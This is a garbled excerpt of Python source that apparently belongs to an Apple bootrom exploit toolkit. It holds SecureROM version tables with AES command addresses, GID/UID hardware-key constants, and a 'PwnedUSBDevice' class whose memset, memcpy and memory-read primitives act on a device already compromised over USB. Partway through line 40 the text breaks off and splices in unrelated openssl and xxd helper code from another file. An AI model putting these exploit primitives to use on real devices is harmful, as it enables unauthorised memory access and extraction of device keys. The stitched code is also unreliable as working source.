aes_crypto_cmd=0x86DC+1), 17 | ExecConfig(('SecureROM for t8004si, Copyright 2007-2014, Apple Inc.', 'ROMRELEASE', 'iBoot-2651.0.0.3.3'), aes_crypto_cmd=0x786C+1), 18 | ExecConfig(('SecureROM for s5l8960xsi, Copyright 2012, Apple Inc.', 'RELEASE', 'iBoot-1704.10'), aes_crypto_cmd=0x10000B9A8), 19 | ExecConfig(('SecureROM for t8010si, Copyright 2007-2015, Apple Inc.', 'ROMRELEASE', 'iBoot-2696.0.0.1.33'), aes_crypto_cmd=0x10000C8F4), 20 | ExecConfig(('SecureROM for t8011si, Copyright 2007-2015, Apple Inc.', 'ROMRELEASE', 'iBoot-3135.0.0.2.3'), aes_crypto_cmd=0x10000C994), 21 | ExecConfig(('SecureROM for t8015si, Copyright 2007-2016, Apple Inc.', 'ROMRELEASE', 'iBoot-3332.0.0.1.23'), aes_crypto_cmd=0x100009E9C), 22 | ] 23 | 24 | EXEC_MAGIC = 'execexec'[::-1] 25 | DONE_MAGIC = 'donedone'[::-1] 26 | MEMC_MAGIC = 'memcmemc'[::-1] 27 | MEMS_MAGIC = 'memsmems'[::-1] 28 | USB_READ_LIMIT = 0xFFFF # why does that panic T8015 ROM? 29 | CMD_TIMEOUT = 5000 30 | AES_BLOCK_SIZE = 16 31 | AES_ENCRYPT = 16 32 | AES_DECRYPT = 17 33 | AES_GID_KEY = 0x20000200 34 | AES_UID_KEY = 0x20000201 35 | 36 | class PwnedUSBDevice(): 37 | def memset(self, address, c, length): self.command(self.cmd_memset(address, c, length), 0) 38 | def memcpy(self, dest, src, length): self.command(self.cmd_memcpy(dest, src, length), 0) 39 | def read_memory_ptr(self, address): return struct.unpack('<%s' % self.cmd_arg_type(), self.read_memory(address, self.cmd_arg_size()))[0] 40 | def read_memory_uint8(self, address): return struct.unpack(' 0: 24 | print 'ERROR: openssl failed: %s' % stderr 25 | sys.exit(1) 26 | 27 | return stdout 28 | 29 | def hex_dump(data, address): 30 | p = subprocess.Popen(['xxd', '-o', str(address)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 31 | (stdout, stderr) = p.communicate(input=data) 32 | 33 | if p.returncode != 0 or len(stderr) > 0: 34 | print 'ERROR: xxd failed: %s' % stderr 35 | sys.exit(1) 36 | 37 | return stdout 38 | --------------------------------------------------------------------------------